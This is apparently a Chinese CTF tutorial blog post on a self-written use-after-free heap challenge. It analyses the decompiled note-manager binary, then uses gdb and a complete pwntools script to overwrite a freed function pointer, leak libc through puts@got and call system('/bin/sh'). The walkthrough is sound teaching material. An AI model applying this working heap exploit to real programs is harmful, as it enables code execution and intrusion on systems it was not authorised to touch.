my_uaf_hook

这里我们由于一直找不到user-after-free比较好的例题,我就自己写了一个相关的例题;我们直接开搞

📎my_uaf_hook.zip

我们还是先进行静态分析:

我们还是先看mian函数:

复制代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("UAF: hijack the function pointer");
  while ( 1 )
  {
    menu();
    v3 = read_int();
    if ( v3 == 4 )
      return 0;
    if ( v3 > 4 )
      goto LABEL_12;
    switch ( v3 )
    {
      case 3uLL:
        show_note();
        break;
      case 1uLL:
        add_note();
        break;
      case 2uLL:
        del_note();
        break;
      default:
LABEL_12:
        puts("Invalid choice");
        break;
    }
  }
}
复制代码
unsigned __int64 read_int()
{
  int v0; // eax
  char buf; // [rsp+Bh] [rbp-25h] BYREF
  int v3; // [rsp+Ch] [rbp-24h]
  char nptr[8]; // [rsp+10h] [rbp-20h] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)nptr = 0;
  v5 = 0;
  v3 = 0;
  while ( v3 <= 14 && read(0, &buf, 1u) > 0 && buf != 10 )
  {
    v0 = v3++;
    nptr[v0] = buf;
  }
  return strtoul(nptr, 0, 10);
}

read_int这个函数就是读取函数,最多读取14个数据

strtoul是将字符串装换成数字,后面的10表示是十进制

我们接着往下看:

先看add:

复制代码
int add_note()
{
  __int64 v1; // rbx
  int i; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 size; // [rsp+8h] [rbp-18h]

  for ( i = 0; ; ++i )
  {
    if ( i > 15 )
      return puts("Full");
    if ( !*((_QWORD *)&notes + i) )
      break;
  }
  printf("Size: ");
  size = read_int();
  if ( !size || size > 0x200 )
    return puts("Invalid size");
  *((_QWORD *)&notes + i) = malloc(0x10u);
  **((_QWORD **)&notes + i) = print_note_content;
  v1 = *((_QWORD *)&notes + i);
  *(_QWORD *)(v1 + 8) = malloc(size);
  printf("Content: ");
  read_n(*(_QWORD *)(*((_QWORD *)&notes + i) + 8LL), size);
  ++note_count;
  return puts("Done");
}

这里我们在进行申请完新的空间之后就形成了这样的图形

复制代码
[.bss 段]                        [Heap 堆空间]
0x4040a0 + i*8                   Chunk 1 (结构体, 0x10 字节)
+---------------+                +---------------------------------------+
|  notes[i]     | -------------> | +0x00: print_note_content (0x40131e)  | <- 第19行填充
+---------------+                |---------------------------------------|
                                 | +0x08: content 指针                    | <- 第20行填充
                                 +-------------------|-------------------+
                                                     |
                                                     v 
                                 Chunk 2 (用户数据块, malloc(size))
                                 +---------------------------------------+
                                 | 用户输入的字符串数据                   |
                                 | (如 "aaaa..." 或 payload)              |
                                 +---------------------------------------+

我们继续看del函数

复制代码
int del_note()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  v1 = read_int();
  if ( v1 > 0xF || !*((_QWORD *)&notes + v1) )
    return puts("Invalid");
  free(*(void **)(*((_QWORD *)&notes + v1) + 8LL));
  free(*((void **)&notes + v1));
  return puts("Deleted");
}

这里我们发现这两个指针我们进行释放之后并没有进行置为空,这样一来就出现了user-after-free这个漏洞

我们继续看show函数

复制代码
int show_note()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  v1 = read_int();
  if ( v1 <= 0xF && *((_QWORD *)&notes + v1) )
    return (**((int (__fastcall ***)(_QWORD))&notes + v1))(*(_QWORD *)(*((_QWORD *)&notes + v1) + 8LL));
  else
    return puts("Invalid");
}

我们这里将第8行的return进行转换一下这样看着太难受了

复制代码
return notes[v1]->printnote(notes[v1]->content);

这样就好看多了,这里就是一个打印函数

这里我们继续完静态验证之后,来开始进行动态验证

这里我们先进行申请两个chunk,之后全部进行释放

上图就是现在的bin的状态,两个bin的大小都没超过fastbin的最大限制,所以遵循fastbin的后进先出的原则

此时我们进行查看notes的地址,发现这个时候我们进行将两个chunk进行释放之后并没有置为null

此时我们申请一个chunk大小是0x18这个时候就会将chunk0分配出去,这个时候可能你会问这是为什么?出去的不是chunk1吗?这里我们别忘记了add中会先申请一个大小是0x10的chunk

此时我们进行查看一下发现这里chunk2的地址和chunk1的地址是一样的

复制代码
  gdb
  set $n2 = *(unsigned long*)(0x4040a0+16)     # notes[2](★
  必须解引用)
  set $c2 = *(unsigned long*)($n2+8)           # notes[2]->content
  p/x $n2
  p/x $c2
  p/x *(unsigned long*)0x4040a0                # notes[0]

这里我们可以看出来经过我们的设置此时chunk2的头指向的是chunk1的头,content2使用的是chunk0这块空间

复制代码
  gdb
  set {unsigned long}$c2     = 0x40131e        # printnote =
  print_note_content
  set {unsigned long}($c2+8) = 0x404020        # content   =
  puts@got
  x/2gx $c2                                    # 应显示 0x40131e /
  0x404020

我们继续进行设置

这样一来我们进行运行就可以成功的泄漏puts@got的地址了

这里其实已经泄漏成功了只是我的编译器大多时候输出地址都会乱码

这里算出来libc的基地址

这里我们接着释放之后重新进行申请

复制代码
  gdb
  set $n3 = *(unsigned long*)(0x4040a0+24)     #
  notes[3](+24,不是 +16)
  set $c3 = *(unsigned long*)($n3+8)
  p/x $c3
  p/x *(unsigned long*)0x4040a0                # 必须相等(=
  0x405260)
  set {unsigned long}$c3     = $lb + 0x4f420   # printnote = system
  set {unsigned long}($c3+8) = $lb + 0x1b3d88  # content   =
  "/bin/sh"
  x/2gx $c3

我们接着进行展示一下就可以拿到shell

之后就交给py脚本了

复制代码
from pwn import *

context(arch='amd64', os='linux', log_level='info')

elf = ELF('./uaf_hook')
libc = ELF('./libc-2.27.so')

PRINT_NOTE_CONTENT = elf.sym['print_note_content']
PUTS_GOT = elf.got['puts']


def start():
    p = process(['./ld-2.27.so', '--library-path', '.', './uaf_hook'])
    p.timeout = 3
    p.recvuntil(b'> ')
    return p


def add(p, size, data):
    p.sendline(b'1')
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Content: ')
    p.send(data.ljust(size, b'\x00')[:size])
    p.recvuntil(b'> ')


def delete(p, idx):
    p.sendline(b'2')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'> ')


def show(p, idx):
    p.sendline(b'3')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    return p.recvline()


def exploit():
    p = start()

    add(p, 0x30, b'a' * 0x30)        # idx0: struct(0x20) + content(0x40)
    add(p, 0x30, b'b' * 0x30)        # idx1
    delete(p, 0)                     # fastbin[0x20]: struct0 ; fastbin[0x40]: content0
    delete(p, 1)                     # fastbin[0x20]: struct1 -> struct0

    # ---- [1][2] content 落到 struct0 => 控制 notes[0];顺便泄露 libc ----
    add(p, 0x18, p64(PRINT_NOTE_CONTENT) + p64(PUTS_GOT))     # idx2
    leak = u64(show(p, 0).strip().ljust(8, b'\x00'))
    libc_base = leak - libc.sym['puts']
    log.info('puts = %#x   libc_base = %#x', leak, libc_base)
    assert libc_base & 0xfff == 0, 'libc 基址未对齐'

    # ---- [3] 劫持 printnote = system, content = "/bin/sh" ----
    delete(p, 2)                     # 归还 struct0 / struct1
    binsh = libc_base + next(libc.search(b'/bin/sh'))
    add(p, 0x18, p64(libc_base + libc.sym['system']) + p64(binsh))   # idx3
    show(p, 0)                       # -> system("/bin/sh")

    sleep(0.3)
    p.sendline(b'echo PWNED_UAF; id; uname -m')
    try:
        out = p.recvuntil(b'x86_64', timeout=3)
    except Exception:
        out = b''
    return out


if __name__ == '__main__':
    for i in range(3):
        try:
            out = exploit()
        except Exception as e:
            log.warning('attempt %d err %r', i + 1, e)
            continue
        if b'PWNED_UAF' in out:
            log.success('SHELL OK')
            print('---------------- shell output ----------------')
            print(out.decode(errors='replace').strip())
            print('----------------------------------------------')
            break
        log.warning('attempt %d 未拿到 shell', i + 1)
    else:
        log.failure('NOT OK')
相关推荐
sogw-三叶草️5 天前
HITCON CTF 2014 — stkof · Unsafe Unlink
网络·安全·web安全·pwn·堆·二进制安全·堆漏洞
sogw-三叶草️6 天前
House of Orange
网络安全·pwn·堆·二进制安全
sogw-三叶草️12 天前
House Of Einherjar
pwn·堆·二进制安全
请输入蚊子1 个月前
AFL源码分析(一)
c·pwn·afl·fuzz
玫幽倩1 个月前
2025MoeCTF(Pwn全)
网络·安全·pwn·ctf·新生赛·二进程·moectf
每天一把堆栈4 个月前
ciscn-pwn
安全·网络安全·pwn
每天一把堆栈5 个月前
软件系统安全赛区域赛
安全·网络安全·pwn
每天一把堆栈6 个月前
pctf-pwn(2025)
网络安全·pwn
seyedog6 个月前
2026 CISCNx长城杯半决赛复盘
pwn